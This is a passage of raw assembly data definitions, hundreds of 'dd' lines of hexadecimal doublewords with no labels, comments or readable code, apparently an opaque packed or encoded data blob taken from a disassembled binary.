		dd 0D9CC0179h, 9CF9CE9Ch, 309CC9D0h, 59D49D30h,	3233209Dh
		dd 0DA02701Ah, 0DC9DB9FEh, 0F9DE9DD9h, 9C39DC9Dh, 239C39DBh
		dd 170E71D3h, 9C401702h, 0DD9C29BEh, 0D71F03A6h, 279CE2Fh
		dd 0F201D9F1h, 19DA0179h, 9EA9DE9Fh, 0FC9BA9BCh, 79B99FD9h
		dd 160109Bh, 1D01B01Ah,	0BA06A050h, 1B01B9Dh, 0AA013013h
		dd 0C99E0169h, 0A0194B99h, 0BE9C09BAh, 4A120169h, 99F9A69Ah
		dd 19A18922h, 0F9FEA1DAh, 9BA9B8A1h, 0D89C0012h, 99BDA149h
		dd 732A06A0h, 99DAA07h,	69FD9BDAh, 9DB022A2h, 159C29CCh
		dd 79B19B0Ah, 9C19BBA3h, 32A15027h, 90C20E80h, 7C904F07h
		dd 8005E121h, 604D07B0h, 110F60Eh, 0B00E8FFh, 9A4E00C0h
		dd 99893099h, 22976018h, 79FCA179h, 9BD9AAA3h, 5BA07A29h
		dd 0FA09027Ah, 0A61A5BA5h, 5FA2CA61h, 0DA30A26Ah, 0A699D19Dh
		dd 0B04F46E4h, 0C45A46A3h, 0A7102BA6h, 724DBA72h, 5A76A75Ah
		dd 0A7631CA7h, 1CA78029h
		dd 0FA6C0213h, 0A81A80A7h, 0FEA6CA82h, 85A852F9h, 9A8801FAh
		dd 0A88A8AA8h, 0CA02C025h, 43720179h, 0A78A774Fh, 0B0A71A94h
		dd 1A804093h, 3482F902h, 0E49D79D2h, 1AA00339h,	0AA3AA2AAh
		dd 9AA31AA1h, 5024025Ah, 2F9AAA02h, 290153D1h, 6A14A2DAh
		dd 3219BF9Ch, 15A069DAh, 19CFA9C0h, 0A59A2632h,	7EABDA66h
		dd 3AA49C22h, 9F79E203h, 429D49CEh, 13489CC0h, 2FA45AA8h
		dd 0CEAAA026h, 5ACDACFAh, 6CD02F02h, 0B13953A1h, 0C03AA836h
		dd 0AC37809Ch, 43323027h, 603E68E3h, 3031C35h, 0EB0E8020h
		dd 504F03D0h, 567807h, 7403305Eh, 30E805A0h, 0A4C0110Fh
		dd 12A23A4Dh, 3A4D0130h, 99EA4D92h, 5FA379A2h, 9B00AFFAh
		dd 56E665A0h, 6EA85A86h, 0E56EA6EAh, 0AAE01DAAh, 523EEAB7h
		dd 0D9DD9F43h, 0A629DCA5h, 8DB0501Dh, 9B184DBAh, 0A89A8BB1h
		dd 86A884DBh, 802501FAh, 2D046A8h, 24055B24h, 0AB2602DBh
		dd 0B2BB2A02h, 0B1FEBB2Ch, 30B27A89h, 0C04CB24Bh, 0B2E02D04h
		dd 24A8AB36h, 0BB3AB390h, 0B31B3AB3h, 88B37B27h, 0DB2A040Ah
		dd 2A06D06h, 4504006Dh,	0BB39040Bh, 3EA85AAh, 55B27A88h
		dd 0BB51B510h, 0B55B3CB2h, 18B40B3Bh, 0BB073ABBh, 0AD3B07B5h
		dd 5D02C348h, 6053B3C0h, 0ACEAD102h, 4A01D02Fh,	19DCADD0h
		dd 9DB01BB0h, 8502F46Ah, 0A2F931CAh, 0B759E058h, 0DBB75021h
		dd 4027B109h, 0AC99DDB1h, 29A7DB5Bh, 8A8AB1C0h,	0A85A8DB1h
		dd 56026025h, 8ACDB55Bh, 0A7EA99A9h, 19B4D2F8h,	0C4DBB91Bh
		dd 4AB5CAAh, 2A450732h,	901F024Bh, 5C0272Fh, 5C0EE0E4h
		dd 5860AA00h, 0AEE06800h, 0F30EFAF0h, 0B00C998Ah, 0A4E0139Ah
		dd 129AE9ADh, 79BC2960h, 577BB406h, 7E07E577h, 6BB80610h
		dd 0BBD06F07h, 0C008506Fh, 0F08E085Bh, 7C08F08h, 7CBC7076h
		dd 0BCABC90h, 30E3723Bh, 5607EBB8h, 3BCF03A3h, 2FE07EBDh
		dd 36EBFEB8h, 6FA05348h, 0EAAB56F5h, 0B4E01FACh, 8ABDEB2Eh
		dd 0CA89046Ah, 0B25A8AB4h, 0EAB4402Dh, 0E02AB45Bh, 0B2CB24B3h
		dd 52B25BF0h, 3B30B26Bh, 0A8BBE406h, 63BF9046h,	0B3E0630h
		dd 0BF1BFEBFh, 39B24BEEh, 5BECB30Bh, 5B063B4h, 9A05BB2Ch
		dd 905DA8DBh, 0BFC046A8h, 0EABEBBE9h, 0DBFFBFFBh, 0B30BED02h
		dd 1AB05B37h, 0CC1CC1BCh, 1FB60B8h, 5DA88B39h, 0BB09B660h
		dd 9DCB7BA2h, 0B5A05061h, 6457732Ah, 0A86B7254h, 6A460AD3h
		dd 0B015A614h, 0B143D1BDh, 62B96A05h, 5A05B0AAh, 0B5BB5EC3h
		dd 9AA88B70h, 902DB9ABh, 0A86B1EBFh, 89B61025h,	3C23C21Bh
		dd 0A97A83B7h, 0F9B22B4Dh, 5A8CBF7Bh, 3D1C1AB8h, 1F3D12FAh
		dd 406DC160h, 423AAB2h,	0A0BA0B9Eh, 816E05EAh, 73AEE05h
		dd 3BBA80E8h, 92962772h, 0BB205601h, 306701Ah, 3A29B7BAh
		dd 0C36A0636h, 0EA02CC36h, 1040040Bh, 0C5DC7E03h, 1F063FEh
		dd 1A05F05Fh, 0DBCD4F4Ch, 0C83A81BCh, 8CC8BC8Ah, 0FBBEC83Ch
		dd 0BBFC90C8h, 94093085h, 7C96C95Ch, 0C99090C9h, 94C97090h
		dd 0DC9E083Ch, 8DCA008h, 88097097h, 8CA4CA30h, 0CA9CA108h
		dd 0A0CABCAAh, 0A08DC9ACh, 0C9CC99C9h, 0ACCAEC9Ch, 0FCB6CB5Ch
		dd 0CB9CB0CAh, 8CBC2090h, 0E08E08C0h, 0C94C9308h, 97CBFCBFh
		dd 6CB7083Ch, 0CC9088CBh, 0B8CA8CA8h, 0ACCDCBACh, 0CD0CD0CBh
		dd 0D4CBDCC3h, 3CBECC2Ch, 0BC4BC4BCh, 0DCCDB094h, 0D086CDCCh
		dd 0CE0CE0CDh, 0BBBD4076h, 0ACDBBC7Bh, 0CE9CE808h, 0E1CE1CE8h
		dd 0FCEECD9Ch, 0CE1CEA08h, 0C7BC6076h, 0CBC8CF5Bh, 0BC908A07h
		dd 0E4CFB07Dh, 309407ECh, 8ABC9CFh, 9BCAC093h, 4CDA093Ch
		dd 0CC3CEE09h, 8FD0AD0Ah, 0CD0ECEC0h, 0CC1BC4CDh, 12093CB2h
		dd 6083C96Dh, 8FCBFC9h,	9009308Eh, 0FC99CC90h, 6A07ECBh
		dd 0C70E80E4h, 8C640547h, 0FE3C6600h, 0BA8C6803h, 0E99500Fh
		dd 390DA4E0h, 0C74A5F01h, 85B703ACh, 7B04C83Ah,	3EC83D3h
		dd 6305DC8Ah, 1D4006B0h, 5905105h, 3106BD44h, 0D03EC800h
		dd 0A9305D05h, 0C703AA72h, 1C8A372Bh, 0BF9B1BB9h, 4BACFACFh
		dd 2C08B3CCh, 0C08BEAC1h, 7CC7CB2Ah, 0C02E02ECh, 0D5EBEBC7h
		dd 6BD40D60h, 0D66D420h, 0D60047D4h, 6ED6DD6Ch,	0ED5FD60Dh
		dd 0C12D72D5h, 63D5AB46h, 902ED72Dh, 0D6FD66D6h, 6C06BD7Ch
		dd 1D80D7F0h, 0BE4044D8h, 274DBB33h, 0CB34B33Bh, 0D78B47B2h
		dd 8E04702Eh, 0FD6FD6BDh, 0D7AD6BD8h, 40D7906Bh, 0D040D6CDh
		dd 0D94D94D7h, 2ED9DD7Ch, 204602A0h, 31C02BAEh,	0FD357C87h
		dd 0DC232F82h, 0D3CB92C0h, 36C78AACh, 0FB21C48Dh, 0BF6C5301h
		dd 0FC53BF6h, 0A063BFBCh, 0DBB05B02h, 0E4BFB05Bh, 0DC0D4ABh
		dd 0C83C8DDCh, 5905DDC1h, 0C2FAC79Ch, 6D05DAAh,	44D69D65h
		dd 0CBF602ABh, 0ECFE84D3h, 4DB02B03h, 8FB33BBDh, 0D05FA73Ch
		dd 0C8BDC305h, 0BBBF9DC5h, 6DBCC09Dh, 0D5ED98B4h, 43BECB2Bh
		dd 0F02E031Bh, 5F02DC7h, 3D0E8D22h, 40583570h, 0D2BD2910h
		dd 0CD2E106h, 0C00F01C0h, 0B6DD3201h, 48558B7Bh, 0F2F9C47Ch
		dd 0C54B8205h, 42034B23h, 3E0A045Dh, 0D46036D4h, 30C46BEDh
		dd 0CE12D88Bh, 72D07C04h, 10DB603Eh, 7C53DB7Ch,	0DB6BE4B2h
		dd 0FFD5CDE0h, 106DD62Bh, 0D9DE24D8h, 36034034h, 2E2AE290h
		dd 0E2DE2CD4h, 27051E2Eh, 3E32E31Eh, 0D8EE31E3h, 9ED9ED69h
		dd 0FD67D9BDh, 0E3CE3CE2h, 87069077h, 0E420690h, 4EE43E4h
		dd 72B33044h, 4B33E130h, 0D6EC7E04h, 8D8E06Bh, 4E08E2DEh
		dd 0E3204703h, 77E51D8Fh, 0AE5AE590h, 51059E5h,	3DD92E50h
		dd 0DE62E61Eh, 2D06BE2h, 7568E02Bh, 0B338DA5Ah,	0BEFBFA02h
		dd 83DBEB3Eh, 2DDD02CCh, 0E1705FDDh, 16DB9B24h,	6B24B2CCh
		dd 2DCFFED7h, 0DB8DBDDEh, 80E81E80h, 0ADDD4DBEh, 0D3EBF9C8h
		dd 44D42E3Bh, 0E03C059Dh, 63E77C7h, 92E4A4DBh, 2BBD04CEh
		dd 0C07E96E8h, 7CB43DE3h, 606C031Eh, 0D9705903h, 0A1DEAD60h
		dd 9D79C7BEh, 3106CE2h,	0DA06706Fh, 303ADF17h, 0BA5006DFh
		dd 2DBA7037h, 0DA4E999Dh, 54FB02D2h, 753B058Ch,	0D03EDABEh
		dd 0B33EBDBBh, 45044C10h, 4EC406E0h, 59E43ECh, 94055EA7h
		dd 2D7503EEh, 44083C1h,	83085C9Eh, 3B33B510h, 0E13ED4BFh
		dd 79C01B52h, 9D72B2CEh, 0E2AD96D9h, 55D45E9Eh,	9E63E51Eh
		dd 0EE7043E0h, 45E0A043h, 2EE5E520h, 0D92E33E5h, 9ED90EF0h
		dd 9E27E50Dh, 0EF7EEA04h, 0E9E0AEF8h, 0A06EEF7Eh, 8707A07h
		dd 87EFEF00h, 906E0810h, 0B2403105h, 28BF3031h,	2D6EE4DBh
		dd 49E2CE3h, 53049F10h,	9F0EE2CEh, 0EC5EEAE0h, 62EEB06Eh
		dd 0DEED043Eh, 51EEAE3h, 6D06BE0Bh, 6B91AE10h, 0FE68A7FEh
		dd 0B28B3406h, 27B51BF4h, 4BDFDB5Bh, 0B91B2EE0h, 55BEEC0Fh
		dd 0EE4C0440h, 0F38F38C7h, 45ED6044h, 0EC52E1CBh, 46F40E1h
		dd 53DB2B1Ah, 0A01FB22Ch, 4503602h, 59E0AEFBh, 0AEA70360h
		dd 0C10DB5B2h, 28B2AB30h, 4C01EDABh, 0F39B46C1h, 0A6E9CF5Ah
		dd 0FF5BDEAEh, 0D60B44C7h, 2D02EE2Ah, 80E3EAA0h, 69E35705h
		dd 80037BA4h, 0D0EDAF00h, 92300B00h, 4D00C016h,	949FB02Ah
		dd 0B18E03EBh, 19C53DB5h, 1C10B34Bh, 43F4A03h, 19050050h
		dd 0BF4D069Fh, 46E77DEh, 13E7CE9Ah, 0DB3EF56Ch,	0B2BEDAE7h
		dd 6BD6CEDEh, 0AE8B03C0h, 0EF4E42E5h, 18F17EE4h, 0F064F18Fh
		dd 0F9DF84F9h, 0F8FA3EF9h, 7EE0E2FEh, 0FA9FA8FAh, 43D42E29h
		dd 4064EC40h, 0FB006EF0h, 6406EF9Dh, 7EFEF180h,	0EFEFB8FBh
		dd 5AF22045h, 0D06D044Fh, 0EE106BE4h, 0A4E2CD44h, 1EF7FC5Fh
		dd 0FC9F9F08h, 1AF19F9Fh
		dd 0FE20F1FFh, 0EFA5FC6Fh, 0F4CFA5E2h, 9006D036h, 906FDB8Eh
		dd 0DABEBBB5h, 90E12D87h, 0CC8FE94Ch, 0F28EBDEBh, 55B3EB33h
		dd 4F2CF390h, 0F7CE6FBFh, 91B91FE2h, 8BFB06FCh,	0E7BF28F2h
		dd 0A106E077h, 0C069EC6Fh, 0B26E8D03h, 5BBEBF29h, 0D100F36Fh
		dd 82154DA6h, 3C1E0D05h, 42C62448h, 0F21D0D36h,	4D83C880h
		dd 2D0B898Ch, 0B19810C6h, 592C9ACDh, 0D1B164D2h, 71BA0CE2h
		dd 0F13C9E6Ah, 13408032h, 0A1048040h, 3C0D76Bh,	6C160804h
		dd 61B06032h, 42308743h, 0E1490494h, 0F87E843h,	198E8C46h
		dd 11A95463h, 0B690461Fh, 0C6255168h, 0AC502190h, 259229BAh
		dd 3117144Ah, 5A8D4054h, 85C5E350h, 45808040h, 462D169Bh
		dd 0BC546D15h, 494A155h, 5C2EB809h, 82EBB100h, 361B0F0Dh
		dd 0D905FE3Ah, 0ADD6C6D7h, 361F0C45h, 1931358Ch, 0BB185032h
		dd 0F118AC81h, 845CA64h, 599C1147h, 9DCE1AF3h, 0FDFEF735h
		dd 0E272187Bh, 2F23A5C8h, 0B55A93D6h, 5C45326Ah, 0B1AB29B4h
		dd 34BEDE4Dh, 5CB8D36Ch, 0C6623759h, 0AE4B7BBDh, 70F8597Ch
		dd 0DB6DC2E2h, 0C482A170h, 3F44A514h, 0E5F2E974h, 420F974Bh
		dd 0EA10E857h, 37930983h, 0AC7DD9h, 7789942Fh, 4BB349EFh
		dd 0FB7DE2FFh, 704A876h, 748B4412h, 0E8A1790Ch,	6F47DFEDh
		dd 0EDFD05B4h, 898C5BDAh, 0A8C68B21h, 902B0282h, 0A84AFABAh
		dd 42005416h, 7AF285A0h, 0D4B7A32Dh, 0D82D30A2h, 62BCA2Ch
		dd 61B0D617h, 2434AE8Dh, 0DEA8A04Bh, 16B34D9Bh,	1D6740F2h
		dd 43A0E82Dh, 38BC9510h, 0D4750E69h, 5816089h, 8331C270h
		dd 0C2103A9Dh, 0C858178Fh, 0DEA40DEEh, 0A80AB220h, 0BE522486h
		dd 8852A231h, 0F43AADB2h, 882348EAh, 0D90AA220h, 0C2AB241Ch
		dd 0E822C282h, 30C6F822h, 20B7AA12h, 35AF0B34h,	0B4AD0878h
		dd 8C2B6CDBh, 2320DDB0h, 46C78DC3h, 38ACFE33h, 0B3BCEEAAh
		dd 0E86828CEh, 50DC3CBh, 4108EADBh, 0B3F41507h,	0C3886BEh
		dd 5345454Fh, 56324E4Ch, 0AE0C8D63h, 2C6AF4B0h,	0C23AFA17h
		dd 0AB893606h, 0DCD23773h, 0C6542408h, 510C5102h, 428B0EE1h
		dd 2B1154CFh, 86C353CCh, 0F9854AE0h, 3ECFABE8h,	8ECA901Fh
		dd 0F3C6B489h, 0F15EBD01h, 0FD284FBBh, 8C6A12D2h, 485AED31h
		dd 0E42909A0h, 9C1F3D35h, 25294A5Bh, 0BAAA288Dh, 216D86A2h
		dd 0C8A02286h, 3103AB33h, 850AAB02h, 0A33654ACh, 0AA7ABD0Ch
		dd 62C8B042h, 0CBB4357h, 8B43ECE5h, 2210DC2Eh, 22DD041Bh
		dd 69A4690Fh, 522A0842h, 27C60022h, 0C6A77C64h,	49C4711Bh
		dd 8849E27h, 0A0160581h, 68A92A5Dh, 58CA7291h, 6C032EB8h
		dd 0C3FEB722h, 0CA36ADF6h, 18DE4B34h, 0DD2FFDD4h, 0A81E3D05h
		dd 32BE2305h, 0F3062E62h, 362F532Ah, 0B2ED0338h, 0CCAB8ADBh
		dd 755CD3B4h, 3AC08A35h, 0B419A4FEh, 0B4336E8Eh, 2D5ACCC3h
		dd 28D2D142h, 0DEB53393h, 8DD518F4h, 6153922Ch,	0E42E8C5Eh
		dd 2CE1E8F0h, 9D5199E3h, 388E2B27h, 0D4E6C2DCh,	2566E4B2h
		dd 0D5200BEFh, 24BE5206h, 3BB2DBDBh, 6ECEE75Ah,	36E0378Ch
		dd 61303B92h, 30DE7643h, 0EE4F5AD1h, 525485B9h,	7C932249h
		dd 0D218C8CAh, 0C3D10370h, 0ABEBB23Ah, 92A5C592h, 0FC1EB188h
		dd 990AC8F0h, 76A14828h, 33A8722Dh, 9ABE45D1h, 0E5EC1B5Eh
		dd 0A57D0C6Ch, 805FC341h, 46B82605h, 1D98180Ch,	38371D27h
		dd 59860601h, 89D68E90h, 42EB82D1h, 4870B2C0h, 0F488FFE3h
		dd 217A2D01h, 8305564Ch, 56FB43E2h, 42AEF15Dh, 68B6A372h
		dd 82B32EEBh, 3C079E2Fh, 0EE2C8F0h, 0F3588F42h,	423AC266h
		dd 0E8D188BAh, 4DFCB3DCh, 420E3B87h, 77BDDFF9h,	1C21F9FCh
		dd 39547D3Bh, 4390E34Dh, 480D5520h, 0BB208218h,	477E4C84h
		dd 0FEF90170h, 0E33F94D8h, 8C5189B8h, 241A4373h, 2CCB38C8h
		dd 0C3647DF0h, 47F26120h, 0CCA8E483h, 4F92D028h, 14E5A2C5h
		dd 6E8AD50Ah, 5A96B9F4h, 0D9AC6292h, 0CB2BCF30h, 6A534B42h
		dd 10E71D25h, 5AD759E5h, 846510Ah, 29D50097h, 18E16C63h
		dd 20C78309h, 2DC59990h, 5A52595Fh, 0AA96064Ch,	0ED72E5B5h
		dd 0E111DD22h, 0D8173D92h, 92F9812Bh, 0F75A3986h, 449D17AFh
		dd 9828EA0Bh, 3070188Dh, 7A0489Ch, 1D02A01Ah, 4A0760C0h
		dd 8E11E23Ch, 0E31C6370h, 404988E8h, 409A1202h,	71111E44h
		dd 425E3E09h, 63B47A8Fh, 8E12720h, 8ED21642h, 26E3E09Ah
		dd 3E48B12Ch, 8D11A222h, 18242408h, 14464931h, 3C8692D2h
		dd 212026A4h, 82143907h, 44188309h, 0C5323443h,	94C1C4B1h
		dd 28CE976h, 0BF11D68Bh, 778241DCh, 0F6659540h,	0F4CBC194h
		dd 79194329h, 0D688CD10h, 66750E27h, 8DC19C43h,	0C5FE5656h
		dd 0D04DB0AAh, 103CC698h, 0AF12BB2Ah, 33CE88BCh, 308E117Dh
		dd 6A4B47D1h, 539A9356h, 0E0C9036Bh, 41BF9682h,	3A473DE5h
		dd 43E4DCE1h, 2BB98B21h, 618AF35Eh, 0B159C338h,	65098A24h
		dd 475AC831h, 2431A224h, 0CB64C776h, 32575643h,	2A6EA462h
		dd 5B772849h, 722F13D0h, 86C97621h, 17A9525Ch, 82E3901Bh
		dd 1CC1FC31h, 0E57F45Ah, 2F84F8BAh, 17072C16h, 701781CDh
		dd 0F42C0580h, 386707A0h, 104E13C3h, 0EB398704h, 0CA6BBC3Ch
		dd 0BF373082h, 48F0C229h, 5396A314h, 61268360h,	2843C662h
		dd 3E5818DBh, 39612BF8h, 0CAF32DA5h, 61064126h,	123E534Ah
		dd 44989312h, 0D4AA9421h, 91724E3Ah, 546A854Fh,	0AA09BAA5h
		dd 98131552h, 0B554AAB0h, 0F6AA551Ah, 6C911111h, 0BAA91F44h
		dd 75782BD5h, 0EA88978Fh, 0D6BAD555h, 7FD22EABh, 5BAAD887h
		dd 0AAD4F131h, 53AED5C6h, 0B026EAADh, 0B556FECAh, 7CAB55C2h
		dd 2D5AEC05h, 16C256F1h, 748CB096h, 0F8F31FE4h,	52464848h
		dd 0AC849193h, 59392F1Dh, 92925ACAh, 1DA42494h,	0A7878111h
		dd 908FD596h, 0E5652CC4h, 8E384728h, 0D4811F6h,	0DACF1E24h
		dd 0F62A3F47h, 6C9890B1h, 48A12F6Ah, 0B3F5744Bh, 68640D8Dh
		dd 4458EB29h, 0AF1351F6h, 3706C8Dh, 0FC4B8789h,	98789156h
		dd 0C1CC2104h, 344E88BAh, 0A3246276h, 8678CCEDh, 520840Dh
		dd 0C48A6D28h, 0D802D6EAh, 6B305428h, 0B73F0F7Ah, 10EE1FF4h
		dd 0D4F058CEh, 8390FECAh, 297DBF11h, 0E9FD3D7Ah, 52D21683h
		dd 48CB6FAh, 9412944h, 0E04C9FEh, 0CC68C601h, 0FD02666Ch
		dd 1EC3C132h, 70510EE2h, 99D8266h, 0CA22921h, 7004BB7Fh
		dd 40A5CC83h, 6C89AE6Ah, 14609045h, 0F7CD5C32h,	1295D059h
		dd 0F504EC34h, 80E23FB4h, 0CBFEB0D8h, 0A9878930h, 0AC688EAAh
		dd 5E2BC55Dh, 53F424B2h, 4B0A9DFEh, 4A342362h, 21529476h
		dd 43C6662Ah, 8E4A8440h, 0A5E37C75h, 0F13F4DCCh, 1B32A5FDh
		dd 3B20CDBCh, 0F1B06225h, 4FCF9CBh, 4B2E2184h, 5612BDBBh
		dd 4FAA56F0h, 0BE9976FAh, 434BCB7Dh, 0D7C5BA1Fh, 68C08C5h
		dd 18C2231Bh, 580C8190h, 2DD50340h, 73E4B169h, 45A24ABh
		dd 0DE79C29Ah, 24B89578h, 2A856B28h, 0C890EA75h, 0A6252444h
		dd 0D808D498h, 0D68788B3h, 532E96CBh, 730E288Bh, 12FC7658h
		dd 6F0C3BBEh, 604A9774h, 5840EE14h, 4F847F02h, 2DF052F0h
		dd 5FA588A5h, 7D3052D6h, 857F48D3h, 0E6B2AA9h, 6CC43807h
		dd 0E0D32CF5h, 0FF443D6h, 0D37069C5h, 62653D8Ah, 0D7388B5Bh
		dd 0B79FD26Dh, 8A11522Ah, 31644454h, 4B36576Eh,	35C29F36h
		dd 1215D9BBh, 0C3329FC8h, 0C5329D65h, 366960C6h, 1443CD9Dh
		dd 5013C26Fh, 0B28CC19Ch, 0ED96079Fh, 142DF798h, 0BEAB02C9h
		dd 0FE2AA945h, 3CCE6919h
		dd 637C4A45h, 5C35B400h, 92572BEDh, 0F206E58Dh,	24281731h
		dd 28850ECCh, 66660317h, 0BA37411Ah, 0F40B66Bh,	2030D276h
		dd 4BC9B091h, 0EE869AAAh, 252A197Ch, 1BD95D44h,	0FCFED24Ch
		dd 5B2B4124h, 0E161E44Ah, 82E43842h, 0C978C8C0h, 0F8EAB2Ah
		dd 0F05D761Ch, 950D3A4Ch, 0FD2B0906h, 69412EF4h, 0BBFEC4F8h
		dd 37C60D03h, 6F31FBA8h, 93FB7CC9h, 0C0597906h,	818A0A96h
		dd 0ABDB29C1h, 408515BAh, 0AFE34E38h, 71060DD2h, 86C1E9B3h
		dd 9EAF6738h, 8C4FAD8Ch, 4705AE75h, 28272280h, 0B406B2BBh
		dd 495B29CFh, 0B3F676CBh, 6837C429h, 3943C60Ah,	8AF2016Dh
		dd 4D5C2155h, 8E50E1CBh, 64D81172h, 13778F03h, 373CE3DBh
		dd 2B0E3447h, 971BD490h, 0B5A97B57h, 0AC3D83F3h, 5EBE7A9Dh
		dd 0F183696Eh, 18BBEFE2h, 0ED0F0F21h, 0E605C097h, 0F1847405h
		dd 0B8470746h, 70C03BC2h, 2CFE4967h, 25453F89h,	0A9AE7487h
		dd 0DDAB2428h, 0C790A1F0h, 0ADB4852Eh, 53C65CCCh, 578E95C4h
		dd 2DFA7A86h, 7DF16FB4h, 9E537DCBh, 87801482h, 66460309h
		dd 0A6C50DA5h, 7FE1E9FEh, 0DEB5B7CEh, 0D1345959h, 77C00721h
		dd 66D37E1h, 0CB004B53h, 61B94386h, 3515D29Ah, 0A6419D04h
		dd 53C7E32Ah, 4C3376D2h, 801D68E1h, 0A8550271h,	0D32A4FCAh
		dd 0AB318A3Ch, 0C2939FF1h, 1EF59966h, 0BC2E8A1Eh, 36C17908h
		dd 2731C321h, 32151693h, 90D28082h, 2013F3B1h, 0A15BB8FBh
		dd 18A174BBh, 403D4388h, 602C9361h, 0BD81CAAFh,	0BC88DBD8h
		dd 1B8E1C73h, 2ED341A8h, 3E00F8F4h, 0E9A108A3h,	41539313h
		dd 640AE976h, 0D0390221h, 3CB82E9Eh, 2D02A2E6h,	43818020h
		dd 0B343CE89h, 36B362E8h, 101100D3h, 3E01D02h, 3AACA237h
		dd 0FA3C846Ah, 84B2CE1Eh, 0A203C424h, 0E427A4E2h, 4292A5A4h
		dd 44038839h, 0FFBAFEA8h, 81EFB141h, 2A208688h,	0F5841A53h
		dd 1213728h, 8BD838A5h,	87279088h, 0B26D9760h, 0ED348A1h
		dd 5937494Dh, 0F94D0BFAh, 935835A5h, 1A7022h, 70AD8372h
		dd 0BDF34F9Fh, 7CB99BD4h, 6B4994BAh, 2040DB9Fh,	7306998h
		dd 4BA7144Ah, 8AB3F1C4h, 0F3C46C46h, 51C6BF43h,	1544453Fh
		dd 370CBBA7h, 5BE78D48h, 0C493F80Dh, 383AE13Ch,	38321481h
		dd 25915204h, 0A98CB25Ah, 3B9E9CF9h, 81894A17h,	0A6B1B9BFh
		dd 6B2231C0h, 0A953BFA7h, 70414BDEh, 49C136C1h,	8A3BB4A2h
		dd 0BE40A159h, 0A0E1AC9h, 371AF644h, 31A979CDh,	0A9F48359h
		dd 2179BEBDh, 0EF1929C9h, 0B2274048h, 0A2725BC5h, 16BB09D2h
		dd 89C91772h, 834419C1h, 1BC1A830h, 841D3CDCh, 54B352Eh
		dd 7387F866h, 605B0664h, 8A28EF43h, 35B6F2F3h, 246729B9h
		dd 995B2227h, 64936B3Eh, 2325A02Ah, 0A5A9801h, 5B45521Eh
		dd 7C8758FEh, 52704558h, 88E8260Fh, 98257263h, 0FC738BFBh
		dd 84095487h, 3D3FB948h, 9A63C3C8h, 0B1F438A0h,	0B1A781F9h
		dd 70E1155Bh, 8B2086BBh, 0C90D3B60h, 44474470h,	40821BFh
		dd 4A0AC44Eh, 2BF29F54h, 3F78C4BFh, 0D2C943FBh,	0F151C938h
		dd 49A9388Dh, 0AB8D4A00h, 84B1FF2h, 4B2B6ACh, 3DAD62D6h
		dd 0BCA04242h, 844423ADh, 4AAA42C7h, 1ACAACAAh,	2CB84724h
		dd 0A94A3243h, 0DA4703C2h, 842A4EA4h, 0D2CAC4A5h, 0DACD23A2h
		dd 43AA7ACh, 28038C26h,	94294284h, 9EFA5342h, 33E73AAh
		dd 0E03C03BBh, 38C2EC2h, 0F5C30250h, 32A182A8h,	0C38C32A5h
		dd 8B9CFA79h, 6907B620h, 41802603h, 3402E8B3h, 0FC6EAE58h
		dd 3CE41C46h, 1C334BCFh, 64860549h, 0A7105D48h,	69C13925h
		dd 53BF38E2h, 1C3AF28Bh, 37B79AEEh, 273A1F4h, 365994AAh
		dd 0BCB90B6Dh, 0BC86018Ch, 0BE13E088h, 0FE0A821Ah, 550BF9A1h
		dd 0D07985D8h, 0DC4860Ch, 1A843Bh, 5C52840Ah, 9F935393h
		dd 0D639EB40h, 11F7154Bh, 22999814h, 0F01B0444h, 0C4969A63h
		dd 4E2156BAh, 478C294Fh, 8C50CD99h, 1A63AE1Ah, 0DABE749Ch
		dd 883BA624h, 8C920920h, 49C1448Ah, 68C01E1Bh, 8200B740h
		dd 113421E6h, 3A0FC58Ah, 0B8829D40h, 408C2405h,	2C7A3203h
		dd 8EF0A540h, 6F2950FCh, 20DB14D3h, 21520F3Ah, 0FE8B6CF7h
		dd 93998E12h, 959466B0h, 77229C02h, 62F61FB9h, 0B2A110C6h
		dd 16B2A0B7h, 9328260h,	46F331CCh, 33CC341Bh, 591C471Bh
		dd 85847387h, 1647280Dh, 80EF3210h, 155B890Ah, 0DA8248AAh
		dd 9B6D02ABh, 216215C7h, 27B8D3C1h, 527D4069h, 8EA92916h
		dd 2CA72BD2h, 2036A271h, 8B79654Dh, 0B031DA98h,	0CA9A0888h
		dd 0CD7C8602h, 0E68ADC73h, 3B1444D3h, 0CF99FC5h, 0CE3B7267h
		dd 63551CC0h, 1A0127B5h, 0C8FE39D2h, 8FB0C263h,	0DC8A0C00h
		dd 439ADB0h, 0C019F4E5h, 52D1538h, 1389FFA0h, 0AC3FA0D2h
		dd 0D5334960h, 35A8D544h, 0C8A61B58h, 119F2638h, 8C44E44Eh
		dd 263998C0h, 2463217Dh, 2703B519h, 0F3C40CCCh,	9A97BFE9h
		dd 1CD28015h, 0F8FA367h, 0B29ACCCDh, 459B8F4Fh,	249C3B72h
		dd 0E8360369h, 0A6637508h, 5F2F7410h, 13B0BD3Ch, 25C282CDh
		dd 692B081h, 45070ED9h,	0A2D07583h, 93C70508h, 0FD0A02F0h
		dd 4861843Ch, 8681380Dh, 0B9E81E49h, 81B0A91Bh,	1B33FC45h
		dd 2CB95128h, 0D83B3C6h, 4683708Fh, 99E21034h, 0CCF4BD88h
		dd 5881F3DCh, 60878225h, 2D425303h, 0A248623Bh,	0B130841Ah
		dd 0A770B9AFh, 860BB400h, 0EC86300Ch, 0B4E3022Fh, 3FD2588Fh
		dd 0C1984554h, 20B8DA0Bh, 4D6F3EEh, 0B13D9F32h,	3EA93F48h
		dd 1ED1E8C1h, 10E188F5h, 238DB26h, 2EA54A66h, 31FED785h
		dd 0C4C9FF31h, 1271FE9Dh, 9D8C3155h, 0A35AAA84h, 3F2946C8h
		dd 338C4311h, 1D281A5Dh, 0A238BB3Bh, 19920FFh, 48F88A3Ch
		dd 3EF8D81Eh, 0B331FB40h, 8970BDCBh, 3B99C240h,	0CBCCD36Fh
		dd 0E9950170h, 8F94088Fh, 8DAF4CFDh, 6A170AE3h,	8A418E58h
		dd 808A28F4h, 9223D4C2h, 0D1C28259h, 2A105B2Eh,	14C054FBh
		dd 0CC2D51CCh, 8BB33BCDh, 0C01C81C2h, 81C5A181h, 30D0C07Ch
		dd 8404A920h, 0C73CC68Ah, 0C1852862h, 207FD0B8h, 8520AA05h
		dd 79875C73h, 80554738h, 0C738528Ah, 550A8052h,	5879C738h
		dd 5AB5AC19h, 2296E057h, 0C05B4860h, 0AE875DAh,	79DA8857h
		dd 0D9B405D8h, 0DB217A3Dh, 5987987Fh, 602A8A40h, 859CB6C8h
		dd 4885DDB7h, 6DB5DB4Ah, 0C73CC604h, 0BFC8623Eh, 0DABCABC2h
